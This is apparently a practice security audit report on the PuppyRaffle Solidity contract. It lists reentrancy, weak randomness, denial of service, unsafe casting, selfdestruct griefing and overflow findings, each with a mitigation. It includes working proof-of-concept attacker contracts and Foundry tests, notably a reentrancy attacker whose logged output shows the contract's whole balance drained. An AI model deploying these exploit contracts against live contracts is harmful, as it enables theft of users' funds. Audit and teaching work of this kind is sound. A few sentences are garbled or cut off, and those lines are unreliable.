PuppyRaffle Audit Report

Prepared by: Jack Landon

Prepared by: Jack Landon on 2024-08-13 Lead Auditors:

- Jack Landon

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Jack Landon makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
#-- PuppyRaffle.sol

## Roles
```

~~~
Owner - Deployer of the protocol, has the power to change the wallet
address to which fees are sent through the `changeFeeAddress` function.
Player - Participant of the raffle, has the power to enter the raffle with
the `enterRaffle` function and refund value through `refund` function.


# Executive Summary

There are a number of significant bugs and reconsiderations to be made in
the codebase.
Whilst the findings are reported on in detail below, the individual bugs
were reported with everything held constant.

It would be worth addressing the informational findings first, and then
moving from High to Low severity.

## Issues found

| Severity      | Number of Issues Found |
| ------------- | ---------------------- |
| HIGH          | 2                      |
| MEDIUM        | 4                      |
| LOW           | 2                      |
| INFORMATIONAL | 6                      |
| Gas           | 2                      |
| TOTAL         | 16                      |


# Findings

## High Severity

### [H-1] Reentrancy vulnerability in `PuppyRaffle::refund` function can
be exploited to all native balance in the contract.

**Description:**
The vulnerable function for reentrancy is the `PuppyRaffle::refund`
function:

<details>
<summary>Code</summary>

```javascript
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
~~~

```
        emit RaffleRefunded(playerAddress);
    }
```

An attacker can create an attacker contract, so that when the `PuppyRaffle::refund` function hits this line of code:

```
payable(msg.sender).sendValue(entranceFee);
```

...it will call the `receive` or `fallback` function in the attacker contract. At this stage, it can execute any code before the `PuppyRaffle::refund` continues.

Since the `players[playerIndex]` is updated **after** this line of code:

```
payable(msg.sender).sendValue(entranceFee);
// All Attacker::receive() logic will fully execute here

players[playerIndex] = address(0);
```

... the attack can re-call the `PuppyRaffle::refund` function inside the `receive`/`fallback` function.

As the Check for:

```
require(playerAddress !=
  address(0), "PuppyRaffle: Player already refunded, or is not active");
```

... will still not be satisfied until **after** all of the `receive` logic has been executed, the attacker contract will be able to hit `payable(msg.sender).sendValue(entranceFee);` as many times as they want.

Once this is done, only then will the `PuppyRaffle::refund` nullify the `players[playerIndex]` address:

```
players[playerIndex] = address(0);
```

Impact: This allows anyone to create an attack to drain **all** of the native currency *out* of the `PuppyRaffle` contract. The cost to conduct this is the `entranceFee` + gas.

So the likelihood of this happening is high, and the impact is critical.

Proof of Concept: We can simulate the following steps to prove reentrancy:

1. User enters raffle
2. Attacker deploys `ReentrancyAttacker` contract with a `receiver()`, which calls `PuppyRaffle::refund` in the `receive` function

3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from the `ReentrancyAttacker` contract, draining the contract balance.

We can deploy this Attacker contract and run a test to see if it can drain the `PuppyRaffle` contract.

▶ Code

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 immutable entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);

        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));

        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

And then we can add the following test to `PuppyRaffleTest.t.sol`:

▶ Code

```
    function testReentrancy() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker reentrancyAttacker = new
ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, entranceFee);

        uint256 startingAttackContractBalance =
address(reentrancyAttacker).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        reentrancyAttacker.attack{value: entranceFee}();

        console.log("Starting Puppy Raffle Balance: ",
startingPuppyRaffleBalance);
        console.log("Starting Attacker Balance: ",
startingAttackContractBalance);

        console.log("Ending Puppy Raffle Balance: ",
address(puppyRaffle).balance);
        console.log("Ending Attacker Balance: ",
address(reentrancyAttacker).balance);

    }
```

The logs at the end of the test present as follows:

- Starting Puppy Raffle Balance: 5000000000000000000
- Starting Attacker Balance: 0
- Ending Puppy Raffle Balance: 0
- Ending Attacker Balance: 5000000000000000000

After calling the `ReentrancyAttacker::attack` function, the `PuppyRaffle` contract has 0 balance, and the attacker has all of the balance.

Recommended Mitigation: Use CEI (Checks-Effects-Interactions) pattern to prevent reentrancy attacks. This involves re-arranging the order of steps in the `PuppyRaffle::refund` function.

```diff

    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

Before doing the external call to the attacking contract, the `players[playerIndex]` is nullified, so when the attacking contract calls it's `receive` or `fallback` function, the `players[playerIndex]` will be `address(0)` and the function will revert. We should also move the `RaffleRefunded` event emission up as well.

[H-2] Weak Randomness in the `PuppyRaffle::selectWinner` function can be exploited to predict the winner.

Description: The blockchain is a deterministic system, so attempting to find randomness within the system will return a deterministic value. There are multiple tools people and miners have to predict the outcome of a random number.

In the `selectWinner` function, this is used to select the winning index:

```
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
```

The following variable are used:

- `msg.sender` - Anyone can mine addresses until they find one that will make them the winner.
- `block.timestamp` - Miners have the ability to affect this by holding onto the transaction, or rejecting them at certain timestamps.
- `block.difficulty` - This will be known by the miners, and they can use this manipulate their hash rate and influence the outcome.
- `players.length` - This is known by everyone

Using all of these value, it's possible for miners to influence these values to make sure they are the winner.

A similar randomness method is also used later in the function to determine the rarity of the NFT:

```
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
block.difficulty))) % 100
```

This is even easier to predict and influence for miners as there are only 2 variables needed to influence the outcome. They simly need create a list of `msg.sender` values, and then they only need to solve for `block.difficulty`.

As anyone has access to an almost-infinite amount of addresses, and miners have access to (and influence of) the `block.difficulty`, this is a very weak source of randomness.

Impact: If some actors can determine or influence the outcome of the winner, the raffle is not entirely fair.

It won't break the entire system, however if participants are aware of this vulnerability, it could lead to discouragement from participating in the raffle.

This also means that users could front-run the `PuppyRaffle::refund` function if they know they're not the winner.

Recommended Mitigation: Use a cryptographically provable random number. Chainlink VRF is a good option and can be used to provide a secure source of randomness. Commit Reveal Scheme can also be used. This is where a commitment is made, which will be a hash combined with some random data.

`block.timestamp` has recently replaced `block.timestamp` in `solidity 0.8.18, which is more random, however it's still predictable and should still *not* be used for randomness.

Medium Severity

[M-1] Unbounded Array looping in `PuppyRaffle:enterRaffle` function can prevent new players from entering the raffle.

Description: An attacker can cheaply guarantee the win by preventing new players from entering the raffle. As the duplicate address check in the `PuppyRaffle:enterRaffle` function will loop through all players (no matter how many players there are), the gas cost for each new player to enter the raffle will increase linearly with the number of players.

If this is number of player is pushed to the ~ around 200 players, the function will hit a gas limit and revert, preventing new players from successfully calling the function at all.

```
        // @audit Denial of Service with unbounded array looping
@>        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Impact: Later entrants will pay significantly more gas to enter the raffle than earlier entrants, as each entrant pays for the linearly increasing loop of the `players` array. This can cause a rush at the start of the raffle, and discourage later entrants.

This array can get so big that no other addresses can enter.

IMPACT: High Likelihood: Medium

Proof of Concept: Let's first push the players count beyond 200 and show that the contract will revert.

▶ Place the following test into the `PuppyRaffleTest.t.sol`

```
    function testDenialOfService() public {
        for (uint256 i = 0; i < 300; i++) {
            address[] memory players = new address[](1);
            address newAddress = address(i);
            players[0] = vm.addr(i + 1);
            if (i > 199) {
                vm.expectRevert();
                puppyRaffle.enterRaffle{value: entranceFee}(players);
            } else {
                puppyRaffle.enterRaffle{value: entranceFee}(players);
            }
        }
    }
```

Given how cheaply you can push blow the state `players` array to more than this, an attacker could distribute `entranceFee` to 200 wallets, and call the `enterRaffle` function with each of them - effectively blocking any more players to enter the raffle.

This would guarantee a win for the attacker at the cost of 200 * `entranceFee`.

Beyond this, you can see how much more gas-expensive it is for later entrants to enter the raffle than earlier entrants.

```
    function testIncreasingGasCosts() public {
        vm.txGasPrice(1);

        uint256 playersNum = 100;

        // For the first 100 players
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used of the 1st 100 players: ", gasUsedFirst);

        // For the second 100 players
        address[] memory playersTwo = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}
(playersTwo);
        gasEnd = gasleft();

        uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used of the 2nd 100 players: ", gasUsedSecond);

        assert(gasUsedSecond > gasUsedFirst);
    }
```

And you will return the following logs:

- Gas used of the 1st 100 players: 6252128
- Gas used of the 2nd 100 players: 18068215

The gas cost for the 2nd 100 players to enter the raffle is 2.9x more than the first.

Recommended Mitigation: There are a few recommendations:

1. Consider removing the duplicate check. Wallets are free to create, so preventing duplicates doesn't prevent the same person from entering multiple times; just the specific address.
2. Consider using a mapping to check for duplicates. This would allow for constant time lookup to check for whether they've entered.

```
+   uint256 public raffleId = 0;
+   mapping(address => uint256) walletLastRaffle;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }

+       // Check for duplicates and update walletLastRaffle
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(walletLastRaffle[newPlayers[i]] != raffleId,
"PuppyRaffle: Duplicate player");
+           walletLastRaffle[newPlayers[i]] = raffleId;
+       }
-       // Check for duplicates
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           // @audit-high start j from 0 so it checks for duplicates
across ALL players. Only allow duplicate when i == j
-           // @audit-high i can == address(0), and j can == address(0),
so it will incorrectly exit function
-           for (uint256 j = i + 1; j < players.length; j++) {
-               // @audit if (i == j) continue;
-               require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-           }
-       }
        .
        .
        .
        function selectWinner() external {
            require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
            require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
+           raffleId++;
```

```
        }
    }
```

3. Alternatively, the OpenZeppelins EnumerableSet Library could be utilized to handle this functionality.

Change players to a mapping and for each additional player, increment the `playersCount` variable.

[M-2] Unsafe casting of round fees will cause incorrect fee amount to be added to `totalFees` in `PuppyRaffle::selectWinner` function.

Description: In the `PuppyRaffle::selectWinner` function, the fee is calculated as follows:

```
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
```

When `fee` is casted to a `uint64`, it's max value can be `18446744073709551615`. If the `fee` is greater than this, it will wrap around to 0, and the `totalFees` will be incorrect.

Impact: The impact of this issue on the protocol is minimal, other than that `totalFees` will be incorrect. This could lead to the `totalFees` being lower than it should be, and the owner of the contract not receiving the correct amount of fees.

Proof of Concept:

1. We enter the raffle with 100 players.
2. We calculate the `fee` and cast it to a `uint64`.
3. We add the `fee` to the `totalFees`.
4. We check that the `fee` is less than the original `fee`.
5. If it is, the `totalFees` is incorrect.
6. You would not be able to withdraw in the `PuppyRaffle:withdraw` function because of this line:

   ```
   require(address(this).balance ==
     uint256(totalFees), "PuppyRaffle: There are currently players
   active!");
   ```

   And `address(this).balance` > `totalFees` because `totalFees` would be incorrect.

To prove this, we can add a test to `PuppyRaffleTest.t.sol`:

▶ Code

```
    function testUnsafeCast() public {
        uint256 numPlayers = 100;
```

```
        address[] memory players = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(players);

        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        console.log(fee);
        uint64 castedFee = uint64(fee);
        console.log(uint256(castedFee));

        assert(castedFee < fee);
    }
```

The logs are as follows: Logs:

- 20000000000000000000
- 1553255926290448384

The `fee` is 20 ETH as the original `uint256` value, however when it is casted as a `uint64`, it becomes 1.55 ETH.

Recommended Mitigation: Change the `totalFees` storage variable to a `uint256` type so this type of casting isn't required.

▶ Changes

```
-    uint64 public totalFees;
+    uint256 public totalFees;
    .
    .
    .
    function selectWinner() external {
    .
    .
    .
-   totalFees = totalFees + uint64(fee);
+   totalFees = totalFees + fee;
    .
    .
    .
    }
```

[M-3] Mishandling of Native Currency in `PuppyRaffle::withdrawFees` that can prevent owner from withdrawing fees.

Description: By enabling the `PuppyRaffle` contract to have more balance than it expects as `totalFees`, the `withdrawFees` function could be bricked.

This is the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
        require(address(this).balance == uint256(totalFees), "PuppyRaffle: 
There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

The first `require` line checks that the caller doesn't withdraw more funds than it should.

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Griefers could also use `selfdestruct(puppyRaffleAddress)` in an attacking contract with some native balance, it will increase the balance of the `PuppyRaffle` contract, and therefore the `address(this).balance` > `totalFees` value.

Impact: If this exploit is used, the owner of the contract will not be able to withdraw the fees from the contract.

Proof of Concept: To prove this, we can create a SelfDestructAttack contract.

▶ Code

```
contract AttackSelfDestruct {
    SelfDestructMe target;

    constructor(SelfDestructMe _target) payable {
        target = _target;
    }

    function attack() external payable {
        selfdestruct(payable(address(target)));
    }
}
```

Now we can add a test to `PuppyRaffleTest.t.sol`:

▶ Code

```
    function testSelfDestruct() public playersEntered {
        address senderAddress = makeAddr("senderAddress");
        vm.deal(senderAddress, entranceFee);
        vm.expectRevert();
        vm.prank(senderAddress);
        (bool success, ) = payable(address(puppyRaffle)).call{value: entranceFee}("");
        require(success, "Failed to send money to raffle");

        uint256 puppyRaffleBalanceBefore = address(puppyRaffle).balance;
        console.log("Puppy Raffle Balance Before: ", puppyRaffleBalanceBefore);

        AttackSelfDestruct attackSelfDestruct = new AttackSelfDestruct(address(puppyRaffle));
        attackSelfDestruct.attack{value: entranceFee}();

        uint256 puppyRaffleBalanceAfter = address(puppyRaffle).balance;
        console.log("Puppy Raffle Balance After: ", puppyRaffleBalanceAfter);

        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();
        vm.expectRevert();
        puppyRaffle.withdrawFees();
    }
```

At the end, we expect a revert when the `withdrawFees` function is called. As the `puppyRaffle.balance` is greater than `totalFees`, the `require` statement is failing, and therefore the `withdrawFees` function is broken.

Recommended Mitigation: The `require` statement is too strict, and should implement something like this:

```diff
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+   require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

[M-4] Smart Contract Raffle Winners without a `receive` or `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for setting the winner of the raffle and sending them the prize pool.

▶ Code

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
        .
        .
        .
        raffleStartTime = block.timestamp;
        previousWinner = winner;

        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
    }
```

At the end, the `require` statement requires the preceeding call to have succeeded:

```
(bool success,) = winner.call{value: prizePool}("");
```

If the `winner` address is a contract without a `receive` or `fallback` function which succeeds, then `success` will be `false`, and the whole transaction will revert.

Impact: The `PuppyRaffle::selectWinner` function could revert a lot of times, making the raffle reset difficult, and waste a lot of gas.

Also, true winner may not get paid out, and someone else could take the winnings.

Proof of Concept:

1. 10 contracts enter the lottery, each without a `receive` or `fallback` function.
2. The raffle ends
3. One of those contracts will win, however none of them can accept the winnings

Recommended Mitigation: Instead of paying out and requiring for it to succeed, a mapping could be used for the winners to withdraw their winnings themselves.

```
+   mapping(address => uint256) public walletWinnings;
    .
    .
    .
    function selectWinner() external {
        .
        .
        .
+       walletWinnings[winner] += prizePool;
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to
winner");
    }

+   function claimWinnings(address _to) external {
+       uint256 winningsToSend = walletWinnings[_to];
+       walletWinnings[_to] = 0;
+       (bool success,) = _to.call{value: winningsToSend}("");
+       require(success, "PuppyRaffle: Failed to send winnings");
+   }
```

A separate `PuppyRaffle::claimWinnings` function is added, and a `_to` address is passed in to claim the winnings. If the winner can't accept the winnings as the contract doesn't have a `receive` or `fallback` function, then the prize pool will be locked.

Adding a `_to` parameter means they can select the address to send the winnings to.

Low Severity

[L-1] Potential for arithmetic overflow in `PuppyRaffle::selectWinner` function may cause the fee to be incorrect.

Description: In the `PuppyRaffle::selectWinner` function, there is the following code:

```
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        totalFees = totalFees + uint64(fee);
```

`totalFees` is a `uint64` value, and therefore can hold a maximum value of `18446744073709551615`. That allows for 18.4 ETH.

As the compiler version of the `PuppyRaffle` contract is `0.7.6`, there are no checks in place to prevent this overflow. If the totalFees value goes over this max value, it will wrap around to 0.

Impact: If the expectation is that `fees` will never get to this amount, then it is okay. The

Proof of Concept: To prove the overflow, we can add a test to `PuppyRaffleTest.t.sol`:

▶ Code

```
    function testOverflow() public {
        uint256 numPlayers = 1000;

        address[] memory players = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(players);
        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();

        address[] memory playersTwo = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            playersTwo[i] = address(i + numPlayers);
        }
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}
(playersTwo);
        uint64 totalFeesBefore = puppyRaffle.totalFees();
        console.log(uint256(totalFeesBefore));
        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();
        uint64 totalFeesAfter = puppyRaffle.totalFees();
        console.log(uint256(totalFeesAfter));

        assert(totalFeesAfter < totalFeesBefore);
    }
```

The logs return this: Logs: -15532559262904483840 -12618374452099416064

The `totalFees` should only increase, and therefore be higher after the second round. We can see that the `totalFees` has decreased, which means that it has wrapped around to 0 and started counting up again.

Recommended Mitigation: Solidity versions >= 0.8 have built-in checks for overflow/underflow. Using a version of solidity that has these checks would the most simple and best way to avert this.

There are libraries such as SafeMath that can be used to prevent this overflow.

A `uint256` type for `totalFees` should also be used. Even if the fixes above are used, the transaction can revert if `totalFees` attempts to go above `type(uint64).max`. This max value is very possible, and it may gridlock functionality of the contract.

If `uint256` is used, the `totalFees` would need to increase to an unreasonably high number the break. A number so high that you would expect to reach it:

```
-    uint64 public totalFees;
+    uint256 public totalFees;
    .
    .
    .
    function selectWinner() external {
    .
    .
    .
-   totalFees = totalFees + uint64(fee);
+   totalFees = totalFees + fee;
    .
    .
    .
    }
```

[L-2] 0th index value returned for `PuppyRaffle::getActivePlayerIndex` function when the player is not found, causing non-players to be considered as the 1st player (0th index).

Description: When a non-player calls `PuppyRaffle::getActivePlayerIndex`, the function will return a 0 value, which is the 0th index of the `players` array.

```
    function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

This means they could assume they are the 0th indexed player, and attempt to use that value to call `PuppyRaffle::refund`, which would inevitable revert (unless they are indeed the 0th index player).

The actual 0-indexed (1st) player may also interpret that they are not an active player, when indeed they are.

Impact: As this function is simply an external function as a means to get the index of a player, it's impact on the protocol is minimal. The implementation of the code doesn't rely on this function.

Proof of Concept: Add this test to the `PuppyRaffleTest.t.sol` where we prove that a non-player will have the same index returned as the first player:

▶ Code

```
   function testZeroIndexOnNonPlayer() public {
        address playerZero = makeAddr("playerZero");
        address[] memory rafflePlayers = new address[](1);
        rafflePlayers[0] = playerZero;

        vm.deal(playerZero, entranceFee);
        puppyRaffle.enterRaffle{value: entranceFee}(rafflePlayers);

        address nonPlayer = makeAddr("nonPlayer");
        uint256 nonPlayerIndex =
puppyRaffle.getActivePlayerIndex(nonPlayer);
        uint256 playerZeroIndex =
puppyRaffle.getActivePlayerIndex(playerZero);

        assertEq(nonPlayerIndex, 0);
        assertEq(nonPlayerIndex, playerZeroIndex);
    }
```

Recommended Mitigation: There are 2 solutions here:

1. Return a `-1` value if the player is not found.
2. Use the `PuppyRaffle::_isActivePlayer` function to check if the player is active before returning the index.

For the first solution, this is how you could return a `-1` value for a non-player:

```
-   function getActivePlayerIndex(address player) external view returns
(uint256) {
+   function getActivePlayerIndex(address player) external view returns
(int256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
-       return 0;
+       return -1;
    }
```

This is how you could address the second solution. Since there is a `PuppyRaffle::_isActivePlayer` function used, perhaps this should be used as a require statement at the beginning of the `PuppyRaffle::getActivePlayerIndex` function.

```
    function getActivePlayerIndex(address player) external view returns
(uint256) {
+       require(_isActivePlayer(player), "PuppyRaffle: Player is not
active");
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
-       return 0;
    }
```

Gas Optimizations

[G-1] Unchanged state variables in `PuppyRaffle` contract should be made immutable or constant to reduce gas costs when calling upon them and deploying the contract.

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

The following variables in the `PuppyRaffle` can be made immutable or constant:

▶ Changes to PuppyRaffle

```
-    uint256 public raffleDuration;
+    uint256 public immutable raffleDuration;

-    string private commonImageUri =
"ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";
+    string private constant commonImageUri =
"ipfs://QmSsYRx3LpDAb1GZQm7zZ1AuHZjfbPkD6J7s9r41xu1mf8";

-    string private rareImageUri =
"ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";
+    string private constant rareImageUri =
"ipfs://QmUPjADFGEKmfohdTaNcWhp7VGk26h5jXDA7v3VtTnTLcW";

-    string private legendaryImageUri =
"ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
+    string private constant legendaryImageUri =
"ipfs://QmYx6GsYAKnNzZ9A6NvEKV9nf1VaDzJrqDR23Y8YSkebLU";
```

If the value is declared in the variable declaration, it should be made `constant`, otherwise it should be made `immutable` where it is set in the `constructor`.

[G-2] Cache the `newPlayers.length` in the `PuppyRaffle::enterRaffle` function to reduce gas costs instead of calling from storage multiple times.

Description: When assigning the `players.length` `newPlayers.length` to a variable, it will be stored in memory, and therefore will be cheaper to read from than storage.

Code

```
    function enterRaffle(address[] memory newPlayers) public payable {
+       uint256 newPlayersLength = newPlayers.length;

+       require(msg.value == entranceFee * newPlayersLength, "PuppyRaffle:
Must send enough to enter raffle");
-       require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");

-       for (uint256 i = 0; i < newPlayers.length; i++) {
+       for (uint256 i = 0; i < newPlayersLength; i++) {
            players.push(newPlayers[i]);
        }

        // Check for duplicates
+       uint256 playersLength = players.length;

-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
```

Informational/Non-Critical Severity

[I-1] `RaffleEnter` event emits in the `PuppyRaffle::enterRaffle` function if the `newPlayers` array is empty.

Description: A `RaffleEnter` event is emitted when the `PuppyRaffle::enterRaffle` function is called with no new players, effectively meaning there are no new entries to the raffle.

Impact: This has no impact on the protocol or functionality of the contract. It is a waste of gas however, and you should only emit events when they are necessary.

When there are no new players, the contract is being misleading by emitting that an entry has been made.

Proof of Concept: Add this test to the `PuppyRaffleTest.t.sol` where an empty array of newPlayers is passed to the `enterRaffle` function:

▶ Code

```
    event RaffleEnter(address[] newPlayers);

   function testEmptyEntryEventEmit() public playersEntered {
        address[] memory newPlayersEntered = new address[](0);

        vm.expectEmit(true, true, true, true);
        emit RaffleEnter(newPlayersEntered);

        puppyRaffle.enterRaffle{value: 0}(newPlayersEntered);
    }
```

As the test passes, we can see that the event is emitted when the `newPlayers` array is empty.

Recommended Mitigation: At the beginning of the `PuppyRaffle::enterRaffle` function, check if the `newPlayers` array is empty, and if it is, return early.

```
    function enterRaffle(address[] memory newPlayers) public payable {
+       require(newPlayers.length > 0, "PuppyRaffle: Must have at least 1
new player.");
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        .
        .
        .
    }
```

[I-2] Floating Pragma Version `^0.7.6` is dangerous and should be pinned to a specific version.

Impact: Using a floating pragma version can open up the contract to vulnerabilities in past/future versions of within all 0.7.x versions.

Recommended Mitigation: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.7.6;`, use `pragma solidity 0.7.6;`

[I-3] The used solidity version of `0.7.6` is missing some security features, and should be updated to a more recent version.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks.

```
pragma solidity ^0.7.6;
```

Recommendation Mitigation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

See Slither documentation for more details: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity

[I-4] Missing checks for `address(0)` when assigning `feeAddress` in constructor.

Description: `PuppyRaffle::feeAddress` should not be `address(0)` as this would allow the fees to be sent to the 0 address.

Recommendation Change

```
    constructor(uint256 _entranceFee, address _feeAddress, uint256
_raffleDuration) ERC721("Puppy Raffle", "PR") {
        .
        .
        .
+       require(_feeAddress != address(0), "PuppyRaffle: Fee address
cannot be 0");
        feeAddress = _feeAddress;
    }
```

[I-5] `PuppyRaffle:selectWinner` does not follow CEI, which is not a best practice

Description: It's best to keep code clean and follow best practices.

```
    function selectWinner() external {
        .
        .
        .
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
    }
```

Impact: There's no impact on the protocol as there is no vulnerability here, but it's best to follow best practices.

Recommended Change:

```
    function selectWinner() external {
        .
        .
        .
+       _safeMint(winner, tokenId);
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
-       _safeMint(winner, tokenId);
    }
```

[I-6] Use of magic numbers affects code readability

Description: In the `PuppyRaffle:selectWinner` function, numbers are used instead of named constants.

```
    function selectWinner() external {
        .
        .
        .
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
    }
```

Impact: Using numbers like `80`, `20`, `100` can make the code harder to read and understand.

Recommended Change: Instead of using these raw numbers in the function, make them named constant variables in the contract and use them to improve the readability of the code.

```
uint256 constant PRIZE_POOL_PERCENTAGE = 80;
uint256 constant FEE_PERCENTAGE = 20;
```

```diff
uint256 constant PERCENTAGE_DIVISOR = 100;
.
.
.
function selectWinner() external {
    .
    .
    .
-   uint256 prizePool = (totalAmountCollected * 80) / 100;
